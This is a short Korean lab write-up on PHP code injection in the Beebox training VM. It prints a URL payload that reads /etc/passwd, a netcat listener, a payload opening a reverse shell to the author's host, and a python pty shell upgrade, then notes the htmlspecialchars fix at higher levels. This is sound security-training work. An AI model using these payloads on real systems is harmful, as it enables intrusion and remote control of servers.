Beebox[PHP Code Injection]
❓ PHP Code Injection : PHP 코드를 삽입해서 서버에서 실행되도록 하고 내부정보 유출 및 악의적인 행위를 수행
1. LOW
(1) 입력

URL 뒤에
?message=0;system('cat /etc/passwd');
내용을 추가해주면
0과 passwd 내용을 출력해주네요!
기왕이면 shell을 사용하기위해
이전에 배운 OS Command Injection에서 썼던
nc를 실행시켜보겠습니다.
nc -l -p 7942
▶ 내 PC에서 위와 같이 입력해주세요
▶ 넷캣의 -l은 리스닝모드이고, -p 다음에는 오픈할 포트를 적어주세요

보통 칼리를 많이 쓰지만 저는 우분투를 사용했어요
서버에서는 내 PC의 IP를 입력해서 접속하려고 합니다.
(2) 공격

URL 뒤에
?message=A;system('nc 172.17.234.104 7942 -e /bin/bash');
내용만 추가했습니다!
-e /bin/bash 옵션은 shell을 이용해서 상호작용할 수 있도록 하기위해서지요
-e는 exec의 약자로 뒤에 넣은 것을 실행합니다!!

서버에서 내 PC로 연결을 한 후 내 PC에서 명령어를 실행한 결과에요
python -c 'import pty; pty.spawn("/bin/bash")'
위와 같이 입력하면
pty라이브러리에서 제공해주는
interactive한? 상호작용이 가능한? 터미널을 제공해줍니다
vi에디터도 사용이 가능하구요
명령어가 정상적으로 실행되고 결과도 얻을 수 있네요!!
2. Medium & High
(1) 소스코드 확인
Low와 동일하게 입력해보았지만 실행이 되지 않네요

htmlspecialchars함수는
", ', &, <, >을 UTF-8로 변환해요.
ENT_QUOTES는 XSS에 사용되는 특수문자를
HTML엔티티(< > 등)로 변환해줍니다